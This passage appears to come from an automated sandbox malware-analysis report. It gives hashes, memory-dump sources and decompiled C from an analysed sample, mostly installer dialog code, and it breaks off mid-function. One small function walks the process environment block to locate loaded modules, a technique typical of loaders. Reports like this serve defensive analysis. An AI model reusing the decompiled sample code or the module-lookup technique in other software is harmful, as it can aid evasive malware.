                                                                                    • Instruction ID: a7d85d328faede53e6a1e3b4f28690110558ed3aa0613785cbf8ce06a9006afe
                                                                                    • Opcode Fuzzy Hash: a2663e28504c86572081c005267ca85bcb47b559b3db158810a8a5f7ec55b55d
                                                                                    • Instruction Fuzzy Hash: 35F0A771704111EED710EB649A49AEEB7A8DF51314F20067FF112B60C1D7B88946972A
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.665071219.00000000022C0000.00000040.00000001.sdmp, Offset: 022C0000, based on PE: false
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 4190573f41b5aaf3d97b7b4ebc131eb1ca3e1ee9d0b453c61c3dcd2709d33944
                                                                                    • Instruction ID: 48e3b681740785ce423f9e9d81138cf29e346a5b7b8146548e9f1002944208dc
                                                                                    • Opcode Fuzzy Hash: 4190573f41b5aaf3d97b7b4ebc131eb1ca3e1ee9d0b453c61c3dcd2709d33944
                                                                                    • Instruction Fuzzy Hash: 95014D78A24208EFCB40DFA8C581A9DBBF4FB08320F608595E808E7316E331AE50DB40
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E10001000() {
                                                                                    
                                                                                    				return  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)))))) + 0x18));
                                                                                    			}



                                                                                    0x10001017

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.665842804.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true
                                                                                    • Associated: 00000000.00000002.665828602.0000000010000000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.665850721.0000000010002000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
                                                                                    • Instruction ID: 58c6f5837427d6eca2c2deaad74ce6c6656098581891570576efec04afcca601
                                                                                    • Opcode Fuzzy Hash: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
                                                                                    • Instruction Fuzzy Hash: 42D001392A1A48CFC241CF4CD084E40B3F8FB0DA20B068092FA0A8BB32C334FC00DA80
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.665071219.00000000022C0000.00000040.00000001.sdmp, Offset: 022C0000, based on PE: false
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
                                                                                    • Instruction ID: 58c6f5837427d6eca2c2deaad74ce6c6656098581891570576efec04afcca601
                                                                                    • Opcode Fuzzy Hash: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
                                                                                    • Instruction Fuzzy Hash: 42D001392A1A48CFC241CF4CD084E40B3F8FB0DA20B068092FA0A8BB32C334FC00DA80
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 96%
                                                                                    			E00404CB1(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
                                                                                    				struct HWND__* _v8;
                                                                                    				struct HWND__* _v12;
                                                                                    				long _v16;
                                                                                    				signed int _v20;
                                                                                    				signed int _v24;
                                                                                    				intOrPtr _v28;
                                                                                    				signed char* _v32;
                                                                                    				int _v36;
                                                                                    				signed int _v44;
                                                                                    				int _v48;
                                                                                    				signed int* _v60;
                                                                                    				signed char* _v64;
                                                                                    				signed int _v68;
                                                                                    				long _v72;
                                                                                    				void* _v76;
                                                                                    				intOrPtr _v80;
                                                                                    				intOrPtr _v84;
                                                                                    				void* _v88;
                                                                                    				void* __ebx;
                                                                                    				void* __edi;
                                                                                    				void* __esi;
                                                                                    				signed int _t203;
                                                                                    				intOrPtr _t206;
                                                                                    				intOrPtr _t207;
                                                                                    				long _t212;
                                                                                    				signed int _t216;
                                                                                    				signed int _t227;
                                                                                    				void* _t230;
                                                                                    				void* _t231;
                                                                                    				int _t237;
                                                                                    				long _t242;
                                                                                    				long _t243;
                                                                                    				signed int _t244;
                                                                                    				signed int _t250;
                                                                                    				signed int _t252;
                                                                                    				signed char _t253;
                                                                                    				signed char _t259;
                                                                                    				void* _t264;
                                                                                    				void* _t266;
                                                                                    				signed char* _t284;
                                                                                    				signed char _t285;
                                                                                    				long _t290;
                                                                                    				signed int _t300;
                                                                                    				signed int _t308;
                                                                                    				signed char* _t316;
                                                                                    				int _t320;
                                                                                    				int _t321;
                                                                                    				signed int* _t322;
                                                                                    				int _t323;
                                                                                    				long _t324;
                                                                                    				signed int _t325;
                                                                                    				long _t327;
                                                                                    				int _t328;
                                                                                    				signed int _t329;
                                                                                    				void* _t331;
                                                                                    
                                                                                    				_v12 = GetDlgItem(_a4, 0x3f9);
                                                                                    				_v8 = GetDlgItem(_a4, 0x408);
                                                                                    				_t331 = SendMessageA;
                                                                                    				_v24 =  *0x424788;
                                                                                    				_v28 =  *0x424754 + 0x94;
                                                                                    				_t320 = 0x10;
                                                                                    				if(_a8 != 0x110) {
                                                                                    					L23:
                                                                                    					if(_a8 != 0x405) {
                                                                                    						_t298 = _a16;
                                                                                    					} else {
                                                                                    						_a12 = 0;
                                                                                    						_t298 = 1;
                                                                                    						_a8 = 0x40f;
                                                                                    						_a16 = 1;
                                                                                    					}
                                                                                    					if(_a8 == 0x4e || _a8 == 0x413) {
                                                                                    						_v16 = _t298;
                                                                                    						if(_a8 == 0x413 ||  *((intOrPtr*)(_t298 + 4)) == 0x408) {
                                                                                    							if(( *0x42475d & 0x00000002) != 0) {
                                                                                    								L41:
                                                                                    								if(_v16 != 0) {
                                                                                    									_t242 = _v16;
                                                                                    									if( *((intOrPtr*)(_t242 + 8)) == 0xfffffe6e) {
                                                                                    										SendMessageA(_v8, 0x419, 0,  *(_t242 + 0x5c));
                                                                                    									}
                                                                                    									_t243 = _v16;
                                                                                    									if( *((intOrPtr*)(_t243 + 8)) == 0xfffffe6a) {
                                                                                    										_t298 = _v24;
                                                                                    										_t244 =  *(_t243 + 0x5c);
                                                                                    										if( *((intOrPtr*)(_t243 + 0xc)) != 2) {
                                                                                    											 *(_t244 * 0x418 + _t298 + 8) =  *(_t244 * 0x418 + _t298 + 8) & 0xffffffdf;
                                                                                    										} else {
                                                                                    											 *(_t244 * 0x418 + _t298 + 8) =  *(_t244 * 0x418 + _t298 + 8) | 0x00000020;
                                                                                    										}
                                                                                    									}
                                                                                    								}
                                                                                    								goto L48;
                                                                                    							}
                                                                                    							if(_a8 == 0x413) {
                                                                                    								L33:
                                                                                    								_t298 = 0 | _a8 != 0x00000413;
                                                                                    								_t250 = E00404BFF(_v8, _a8 != 0x413);
                                                                                    								_t325 = _t250;
                                                                                    								if(_t325 >= 0) {
                                                                                    									_t99 = _v24 + 8; // 0x8
                                                                                    									_t298 = _t250 * 0x418 + _t99;
                                                                                    									_t252 =  *_t298;
                                                                                    									if((_t252 & 0x00000010) == 0) {
                                                                                    										if((_t252 & 0x00000040) == 0) {
                                                                                    											_t253 = _t252 ^ 0x00000001;
                                                                                    										} else {
                                                                                    											_t259 = _t252 ^ 0x00000080;
                                                                                    											if(_t259 >= 0) {
                                                                                    												_t253 = _t259 & 0x000000fe;
                                                                                    											} else {
                                                                                    												_t253 = _t259 | 0x00000001;
                                                                                    											}
                                                                                    										}
                                                                                    										 *_t298 = _t253;
                                                                                    										E0040117D(_t325);
                                                                                    										_a12 = _t325 + 1;
                                                                                    										_a16 =  !( *0x42475c) >> 0x00000008 & 0x00000001;
                                                                                    										_a8 = 0x40f;
                                                                                    									}
                                                                                    								}
                                                                                    								goto L41;
                                                                                    							}
                                                                                    							_t298 = _a16;
                                                                                    							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
                                                                                    								goto L41;
                                                                                    							}
                                                                                    							goto L33;
                                                                                    						} else {
                                                                                    							goto L48;
                                                                                    						}
                                                                                    					} else {
                                                                                    						L48:
                                                                                    						if(_a8 != 0x111) {
                                                                                    							L56:
                                                                                    							if(_a8 == 0x200) {
                                                                                    								SendMessageA(_v8, 0x200, 0, 0);
                                                                                    							}
                                                                                    							if(_a8 == 0x40b) {
                                                                                    								_t230 =  *0x420d34;
                                                                                    								if(_t230 != 0) {
                                                                                    									ImageList_Destroy(_t230);
                                                                                    								}
                                                                                    								_t231 =  *0x420d48;
                                                                                    								if(_t231 != 0) {
                                                                                    									GlobalFree(_t231);
                                                                                    								}
                                                                                    								 *0x420d34 = 0;
                                                                                    								 *0x420d48 = 0;
                                                                                    								 *0x4247c0 = 0;
                                                                                    							}
                                                                                    							if(_a8 != 0x40f) {
                                                                                    								L90:
                                                                                    								if(_a8 == 0x420 && ( *0x42475d & 0x00000001) != 0) {
                                                                                    									_t321 = (0 | _a16 == 0x00000020) << 3;
                                                                                    									ShowWindow(_v8, _t321);
                                                                                    									ShowWindow(GetDlgItem(_a4, 0x3fe), _t321);
                                                                                    								}
                                                                                    								goto L93;
                                                                                    							} else {
                                                                                    								E004011EF(_t298, 0, 0);
                                                                                    								_t203 = _a12;
                                                                                    								if(_t203 != 0) {
                                                                                    									if(_t203 != 0xffffffff) {
                                                                                    										_t203 = _t203 - 1;
                                                                                    									}
                                                                                    									_push(_t203);
                                                                                    									_push(8);
                                                                                    									E00404C7F();
                                                                                    								}
                                                                                    								if(_a16 == 0) {
                                                                                    									L75:
                                                                                    									E004011EF(_t298, 0, 0);
                                                                                    									_v36 =  *0x420d48;
                                                                                    									_t206 =  *0x424788;
                                                                                    									_v64 = 0xf030;
                                                                                    									_v24 = 0;
                                                                                    									if( *0x42478c <= 0) {
                                                                                    										L86:
                                                                                    										if( *0x42474c == 4) {
                                                                                    											InvalidateRect(_v8, 0, 1);
                                                                                    										}
                                                                                    										_t207 =  *0x423f1c; // 0x78d409
                                                                                    										if( *((intOrPtr*)(_t207 + 0x10)) != 0) {
                                                                                    											E00404BBA(0x3ff, 0xfffffffb, E00404BD2(5));
                                                                                    										}
                                                                                    										goto L90;
                                                                                    									}
                                                                                    									_t322 = _t206 + 8;
                                                                                    									do {
                                                                                    										_t212 =  *((intOrPtr*)(_v36 + _v24 * 4));
                                                                                    										if(_t212 != 0) {
                                                                                    											_t300 =  *_t322;
                                                                                    											_v72 = _t212;
                                                                                    											_v76 = 8;
                                                                                    											if((_t300 & 0x00000001) != 0) {
                                                                                    												_v76 = 9;
                                                                                    												_v60 =  &(_t322[4]);
                                                                                    												_t322[0] = _t322[0] & 0x000000fe;
                                                                                    											}
                                                                                    											if((_t300 & 0x00000040) == 0) {
                                                                                    												_t216 = (_t300 & 0x00000001) + 1;
                                                                                    												if((_t300 & 0x00000010) != 0) {
                                                                                    													_t216 = _t216 + 3;
                                                                                    												}
                                                                                    											} else {
                                                                                    												_t216 = 3;
                                                                                    											}
                                                                                    											_v68 = (_t216 << 0x0000000b | _t300 & 0x00000008) + (_t216 << 0x0000000b | _t300 & 0x00000008) | _t300 & 0x00000020;
                                                                                    											SendMessageA(_v8, 0x1102, (_t300 >> 0x00000005 & 0x00000001) + 1, _v72);
                                                                                    											SendMessageA(_v8, 0x110d, 0,  &_v76);
                                                                                    										}
                                                                                    										_v24 = _v24 + 1;
                                                                                    										_t322 =  &(_t322[0x106]);
                                                                                    									} while (_v24 <  *0x42478c);
                                                                                    									goto L86;
                                                                                    								} else {
                                                                                    									_t323 = E004012E2( *0x420d48);
                                                                                    									E00401299(_t323);
                                                                                    									_t227 = 0;
                                                                                    									_t298 = 0;
                                                                                    									if(_t323 <= 0) {
                                                                                    										L74:
                                                                                    										SendMessageA(_v12, 0x14e, _t298, 0);
                                                                                    										_a16 = _t323;
                                                                                    										_a8 = 0x420;
                                                                                    										goto L75;
                                                                                    									} else {
                                                                                    										goto L71;
                                                                                    									}
                                                                                    									do {
                                                                                    										L71:
                                                                                    										if( *((intOrPtr*)(_v28 + _t227 * 4)) != 0) {
                                                                                    											_t298 = _t298 + 1;
                                                                                    										}
                                                                                    										_t227 = _t227 + 1;
                                                                                    									} while (_t227 < _t323);
                                                                                    									goto L74;
                                                                                    								}
                                                                                    							}
                                                                                    						}
                                                                                    						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
                                                                                    							goto L93;
                                                                                    						} else {
                                                                                    							_t237 = SendMessageA(_v12, 0x147, 0, 0);
                                                                                    							if(_t237 == 0xffffffff) {
                                                                                    								goto L93;
                                                                                    							}
                                                                                    							_t324 = SendMessageA(_v12, 0x150, _t237, 0);
                                                                                    							if(_t324 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t324 * 4)) == 0) {
                                                                                    								_t324 = 0x20;
                                                                                    							}
                                                                                    							E00401299(_t324);
                                                                                    							SendMessageA(_a4, 0x420, 0, _t324);
                                                                                    							_a12 = _a12 | 0xffffffff;
                                                                                    							_a16 = 0;
                                                                                    							_a8 = 0x40f;
                                                                                    							goto L56;
                                                                                    						}
                                                                                    					}
                                                                                    				} else {
                                                                                    					_v36 = 0;
                                                                                    					 *0x4247c0 = _a4;
                                                                                    					_v20 = 2;
                                                                                    					 *0x420d48 = GlobalAlloc(0x40,  *0x42478c << 2);
                                                                                    					_t264 = LoadImageA( *0x424740, 0x6e, 0, 0, 0, 0);
                                                                                    					 *0x420d3c =  *0x420d3c | 0xffffffff;
                                                                                    					_v16 = _t264;
                                                                                    					 *0x420d44 = SetWindowLongA(_v8, 0xfffffffc, E004052C3);
                                                                                    					_t266 = ImageList_Create(_t320, _t320, 0x21, 6, 0);
                                                                                    					 *0x420d34 = _t266;
                                                                                    					ImageList_AddMasked(_t266, _v16, 0xff00ff);
                                                                                    					SendMessageA(_v8, 0x1109, 2,  *0x420d34);
                                                                                    					if(SendMessageA(_v8, 0x111c, 0, 0) < _t320) {
                                                                                    						SendMessageA(_v8, 0x111b, _t320, 0);
                                                                                    					}
                                                                                    					DeleteObject(_v16);
                                                                                    					_t327 = 0;
                                                                                    					do {
                                                                                    						_t272 =  *((intOrPtr*)(_v28 + _t327 * 4));
                                                                                    						if( *((intOrPtr*)(_v28 + _t327 * 4)) != 0) {
                                                                                    							if(_t327 != 0x20) {
                                                                                    								_v20 = 0;
                                                                                    							}
                                                                                    							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, 0, E004062BB(0, _t327, _t331, 0, _t272)), _t327);
                                                                                    						}
                                                                                    						_t327 = _t327 + 1;
                                                                                    					} while (_t327 < 0x21);
                                                                                    					_t328 = _a16;
                                                                                    					_push( *((intOrPtr*)(_t328 + 0x30 + _v20 * 4)));
                                                                                    					_push(0x15);
                                                                                    					E004042AC(_a4);
                                                                                    					_push( *((intOrPtr*)(_t328 + 0x34 + _v20 * 4)));
                                                                                    					_push(0x16);
                                                                                    					E004042AC(_a4);
                                                                                    					_t329 = 0;
                                                                                    					_v16 = 0;
                                                                                    					if( *0x42478c <= 0) {
                                                                                    						L19:
                                                                                    						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
                                                                                    						goto L20;
                                                                                    					} else {
                                                                                    						_t316 = _v24 + 8;
                                                                                    						_v32 = _t316;
                                                                                    						do {
                                                                                    							_t284 =  &(_t316[0x10]);
                                                                                    							if( *_t284 != 0) {
                                                                                    								_v64 = _t284;
                                                                                    								_t285 =  *_t316;
                                                                                    								_v88 = _v16;
                                                                                    								_t308 = 0x20;
                                                                                    								_v84 = 0xffff0002;
                                                                                    								_v80 = 0xd;
                                                                                    								_v68 = _t308;
                                                                                    								_v44 = _t329;
                                                                                    								_v72 = _t285 & _t308;
                                                                                    								if((_t285 & 0x00000002) == 0) {
                                                                                    									if((_t285 & 0x00000004) == 0) {
                                                                                    										 *( *0x420d48 + _t329 * 4) = SendMessageA(_v8, 0x1100, 0,  &_v88);
                                                                                    									} else {
                                                                                    										_v16 = SendMessageA(_v8, 0x110a, 3, _v16);
                                                                                    									}
                                                                                    								} else {
                                                                                    									_v80 = 0x4d;
                                                                                    									_v48 = 1;
                                                                                    									_t290 = SendMessageA(_v8, 0x1100, 0,  &_v88);
                                                                                    									_v36 = 1;
                                                                                    									 *( *0x420d48 + _t329 * 4) = _t290;
                                                                                    									_v16 =  *( *0x420d48 + _t329 * 4);
                                                                                    								}
                                                                                    							}
                                                                                    							_t329 = _t329 + 1;
                                                                                    							_t316 =  &(_v32[0x418]);
                                                                                    							_v32 = _t316;
                                                                                    						} while (_t329 <  *0x42478c);
                                                                                    						if(_v36 != 0) {
                                                                                    							L20:
                                                                                    							if(_v20 != 0) {
                                                                                    								E004042E1(_v8);
                                                                                    								goto L23;
                                                                                    							} else {
                                                                                    								ShowWindow(_v12, 5);
                                                                                    								E004042E1(_v12);
                                                                                    								L93:
                                                                                    								return E00404313(_a8, _a12, _a16);
                                                                                    							}
                                                                                    						}
                                                                                    						goto L19;
                                                                                    					}
                                                                                    				}
                                                                                    			}


























































                                                                                    0x00404ccf
                                                                                    0x00404cd7
                                                                                    0x00404cdf
                                                                                    0x00404ce5
                                                                                    0x00404cfd
                                                                                    0x00404d00
                                                                                    0x00404d01
                                                                                    0x00404f2e
                                                                                    0x00404f35
                                                                                    0x00404f49
                                                                                    0x00404f37
                                                                                    0x00404f39
                                                                                    0x00404f3c
                                                                                    0x00404f3d
                                                                                    0x00404f44
                                                                                    0x00404f44
                                                                                    0x00404f55
                                                                                    0x00404f63
                                                                                    0x00404f66
                                                                                    0x00404f7c
                                                                                    0x00404ff1
                                                                                    0x00404ff4
                                                                                    0x00404ff6
                                                                                    0x00405000
                                                                                    0x0040500e
                                                                                    0x0040500e
                                                                                    0x00405010
                                                                                    0x0040501a
                                                                                    0x00405020
                                                                                    0x00405023
                                                                                    0x00405026
                                                                                    0x00405041
                                                                                    0x00405028
                                                                                    0x00405032
                                                                                    0x00405032
                                                                                    0x00405026
                                                                                    0x0040501a
                                                                                    0x00000000
                                                                                    0x00404ff4
                                                                                    0x00404f81
                                                                                    0x00404f8c
                                                                                    0x00404f91
                                                                                    0x00404f98
                                                                                    0x00404f9d
                                                                                    0x00404fa1
                                                                                    0x00404fac
                                                                                    0x00404fac
                                                                                    0x00404fb0
                                                                                    0x00404fb4
                                                                                    0x00404fb8
                                                                                    0x00404fcb
                                                                                    0x00404fba
                                                                                    0x00404fba
                                                                                    0x00404fc1
                                                                                    0x00404fc7
                                                                                    0x00404fc3
                                                                                    0x00404fc3
                                                                                    0x00404fc3
                                                                                    0x00404fc1
                                                                                    0x00404fcf
                                                                                    0x00404fd1
                                                                                    0x00404fe4
                                                                                    0x00404fe7
                                                                                    0x00404fea
                                                                                    0x00404fea
                                                                                    0x00404fb4
                                                                                    0x00000000
                                                                                    0x00404fa1
                                                                                    0x00404f83
                                                                                    0x00404f8a
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405044
                                                                                    0x00405044
                                                                                    0x0040504b
                                                                                    0x004050bc
                                                                                    0x004050c4
                                                                                    0x004050cc
                                                                                    0x004050cc
                                                                                    0x004050d5
                                                                                    0x004050d7
                                                                                    0x004050de
                                                                                    0x004050e1
                                                                                    0x004050e1
                                                                                    0x004050e7
                                                                                    0x004050ee
                                                                                    0x004050f1
                                                                                    0x004050f1
                                                                                    0x004050f7
                                                                                    0x004050fd
                                                                                    0x00405103
                                                                                    0x00405103
                                                                                    0x00405110
                                                                                    0x00405270
                                                                                    0x00405277
                                                                                    0x00405294
                                                                                    0x0040529a
                                                                                    0x004052ac
                                                                                    0x004052ac
                                                                                    0x00000000
                                                                                    0x00405116
                                                                                    0x00405118
                                                                                    0x0040511d
                                                                                    0x00405122
                                                                                    0x00405127
                                                                                    0x00405129
                                                                                    0x00405129
                                                                                    0x0040512a
                                                                                    0x0040512b
                                                                                    0x0040512d
                                                                                    0x0040512d
                                                                                    0x00405135
                                                                                    0x00405176
                                                                                    0x00405178
                                                                                    0x00405188
                                                                                    0x0040518b
                                                                                    0x00405190
                                                                                    0x00405197
                                                                                    0x0040519a
                                                                                    0x0040523c
                                                                                    0x00405244
                                                                                    0x0040524c
                                                                                    0x0040524c
                                                                                    0x00405252
                                                                                    0x0040525a
                                                                                    0x0040526b
                                                                                    0x0040526b
                                                                                    0x00000000
                                                                                    0x0040525a
                                                                                    0x004051a0
                                                                                    0x004051a3
                                                                                    0x004051a9
                                                                                    0x004051ae
                                                                                    0x004051b0
                                                                                    0x004051b2
                                                                                    0x004051b8
                                                                                    0x004051bf
                                                                                    0x004051c4
                                                                                    0x004051cb
                                                                                    0x004051ce
                                                                                    0x004051ce
                                                                                    0x004051d5
                                                                                    0x004051e1
                                                                                    0x004051e5
                                                                                    0x004051e7
                                                                                    0x004051e7
                                                                                    0x004051d7
                                                                                    0x004051d9
                                                                                    0x004051d9
                                                                                    0x00405207
                                                                                    0x00405213
                                                                                    0x00405222
                                                                                    0x00405222
                                                                                    0x00405224
                                                                                    0x00405227
                                                                                    0x00405230
                                                                                    0x00000000
                                                                                    0x00405137
                                                                                    0x00405142
                                                                                    0x00405145
                                                                                    0x0040514a
                                                                                    0x0040514c
                                                                                    0x00405150
                                                                                    0x00405160
                                                                                    0x0040516a
                                                                                    0x0040516c
                                                                                    0x0040516f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405152
                                                                                    0x00405152
                                                                                    0x00405158
                                                                                    0x0040515a
                                                                                    0x0040515a
                                                                                    0x0040515b
                                                                                    0x0040515c
                                                                                    0x00000000
                                                                                    0x00405152
                                                                                    0x00405135
                                                                                    0x00405110
                                                                                    0x00405053
                                                                                    0x00000000
                                                                                    0x00405069
                                                                                    0x00405073
                                                                                    0x00405078
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040508a
                                                                                    0x0040508f
                                                                                    0x0040509b
                                                                                    0x0040509b
                                                                                    0x0040509d
                                                                                    0x004050ac
                                                                                    0x004050ae
                                                                                    0x004050b2
                                                                                    0x004050b5
                                                                                    0x00000000
                                                                                    0x004050b5
                                                                                    0x00405053
                                                                                    0x00404d07
                                                                                    0x00404d0a
                                                                                    0x00404d0d
                                                                                    0x00404d1d
                                                                                    0x00404d30
                                                                                    0x00404d3b
                                                                                    0x00404d41
                                                                                    0x00404d4f
                                                                                    0x00404d62
                                                                                    0x00404d67
                                                                                    0x00404d72
                                                                                    0x00404d7b
                                                                                    0x00404d91
                                                                                    0x00404da1
                                                                                    0x00404dad
                                                                                    0x00404dad
                                                                                    0x00404db2
                                                                                    0x00404db8
                                                                                    0x00404dba
                                                                                    0x00404dbd
                                                                                    0x00404dc2
                                                                                    0x00404dc7
                                                                                    0x00404dc9
                                                                                    0x00404dc9
                                                                                    0x00404de9
                                                                                    0x00404de9
                                                                                    0x00404deb
                                                                                    0x00404dec
                                                                                    0x00404df1
                                                                                    0x00404df7
                                                                                    0x00404dfb
                                                                                    0x00404e00
                                                                                    0x00404e08
                                                                                    0x00404e0c
                                                                                    0x00404e11
                                                                                    0x00404e16
                                                                                    0x00404e1e
                                                                                    0x00404e21
                                                                                    0x00404ef0
                                                                                    0x00404f03
                                                                                    0x00000000
                                                                                    0x00404e27
                                                                                    0x00404e2a
                                                                                    0x00404e2d
                                                                                    0x00404e30
                                                                                    0x00404e30
                                                                                    0x00404e35
                                                                                    0x00404e3e
                                                                                    0x00404e41
                                                                                    0x00404e45
                                                                                    0x00404e48
                                                                                    0x00404e4b
                                                                                    0x00404e54
                                                                                    0x00404e5d
                                                                                    0x00404e60
                                                                                    0x00404e63
                                                                                    0x00404e66
                                                                                    0x00404ea4
                                                                                    0x00404ecf
                                                                                    0x00404ea6
                                                                                    0x00404eb5
                                                                                    0x00404eb5
                                                                                    0x00404e68
                                                                                    0x00404e6b
                                                                                    0x00404e79
                                                                                    0x00404e83
                                                                                    0x00404e8b
                                                                                    0x00404e92
                                                                                    0x00404e9d
                                                                                    0x00404e9d
                                                                                    0x00404e66
                                                                                    0x00404ed5
                                                                                    0x00404ed6
                                                                                    0x00404ee2
                                                                                    0x00404ee2
                                                                                    0x00404eee
                                                                                    0x00404f09
                                                                                    0x00404f0c
                                                                                    0x00404f29
                                                                                    0x00000000
                                                                                    0x00404f0e
                                                                                    0x00404f13
                                                                                    0x00404f1c
                                                                                    0x004052ae
                                                                                    0x004052c0
                                                                                    0x004052c0
                                                                                    0x00404f0c
                                                                                    0x00000000
                                                                                    0x00404eee
                                                                                    0x00404e21

                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                                                    • String ID: $M$N
                                                                                    • API String ID: 2564846305-813528018
                                                                                    • Opcode ID: 2a089ffaa6d080d8f9741abd0f9240871e5015f633a6bdd7d3a40dad24a0061c
                                                                                    • Instruction ID: 1f2220219548b190c7fc9fe52a988bdfc75827026f4451c66edb8ee187498390
                                                                                    • Opcode Fuzzy Hash: 2a089ffaa6d080d8f9741abd0f9240871e5015f633a6bdd7d3a40dad24a0061c
                                                                                    • Instruction Fuzzy Hash: 33025DB0A00209AFDB20DF94DD45AAE7BB5FB84354F10817AF610BA2E1C7789D52DF58
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 85%
                                                                                    			E00403DD8(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
                                                                                    				struct HWND__* _v32;
                                                                                    				void* _v80;
                                                                                    				void* _v84;
                                                                                    				void* __ebx;
                                                                                    				void* __edi;
                                                                                    				void* __esi;
                                                                                    				signed int _t35;
                                                                                    				signed int _t37;
                                                                                    				signed int _t39;
                                                                                    				struct HWND__* _t49;
                                                                                    				signed int _t68;
                                                                                    				struct HWND__* _t74;
                                                                                    				signed int _t87;
                                                                                    				struct HWND__* _t92;
                                                                                    				signed int _t100;
                                                                                    				int _t104;
                                                                                    				signed int _t116;
                                                                                    				signed int _t117;
                                                                                    				int _t118;
                                                                                    				signed int _t123;
                                                                                    				struct HWND__* _t126;
                                                                                    				struct HWND__* _t127;
                                                                                    				int _t128;
                                                                                    				long _t131;
                                                                                    				int _t133;
                                                                                    				int _t134;
                                                                                    				void* _t135;
                                                                                    				void* _t143;
                                                                                    
                                                                                    				_t116 = _a8;
                                                                                    				if(_t116 == 0x110 || _t116 == 0x408) {
                                                                                    					_t35 = _a12;
                                                                                    					_t126 = _a4;
                                                                                    					__eflags = _t116 - 0x110;
                                                                                    					 *0x420d38 = _t35;
                                                                                    					if(_t116 == 0x110) {
                                                                                    						 *0x424748 = _t126;
                                                                                    						 *0x420d4c = GetDlgItem(_t126, 1);
                                                                                    						_t92 = GetDlgItem(_t126, 2);
                                                                                    						_push(0xffffffff);
                                                                                    						_push(0x1c);
                                                                                    						 *0x41fd18 = _t92;
                                                                                    						E004042AC(_t126);
                                                                                    						SetClassLongA(_t126, 0xfffffff2,  *0x423f28);
                                                                                    						 *0x423f0c = E0040140B(4);
                                                                                    						_t35 = 1;
                                                                                    						__eflags = 1;
                                                                                    						 *0x420d38 = 1;
                                                                                    					}
                                                                                    					_t123 =  *0x40a1f8; // 0xffffffff
                                                                                    					_t134 = 0;
                                                                                    					_t131 = (_t123 << 6) +  *0x424780;
                                                                                    					__eflags = _t123;
                                                                                    					if(_t123 < 0) {
                                                                                    						L34:
                                                                                    						E004042F8(0x40b);
                                                                                    						while(1) {
                                                                                    							_t37 =  *0x420d38;
                                                                                    							 *0x40a1f8 =  *0x40a1f8 + _t37;
                                                                                    							_t131 = _t131 + (_t37 << 6);
                                                                                    							_t39 =  *0x40a1f8; // 0xffffffff
                                                                                    							__eflags = _t39 -  *0x424784;
                                                                                    							if(_t39 ==  *0x424784) {
                                                                                    								E0040140B(1);
                                                                                    							}
                                                                                    							__eflags =  *0x423f0c - _t134; // 0x0
                                                                                    							if(__eflags != 0) {
                                                                                    								break;
                                                                                    							}
                                                                                    							__eflags =  *0x40a1f8 -  *0x424784; // 0xffffffff
                                                                                    							if(__eflags >= 0) {
                                                                                    								break;
                                                                                    							}
                                                                                    							_t117 =  *(_t131 + 0x14);
                                                                                    							E004062BB(_t117, _t126, _t131, 0x42c800,  *((intOrPtr*)(_t131 + 0x24)));
                                                                                    							_push( *((intOrPtr*)(_t131 + 0x20)));
                                                                                    							_push(0xfffffc19);
                                                                                    							E004042AC(_t126);
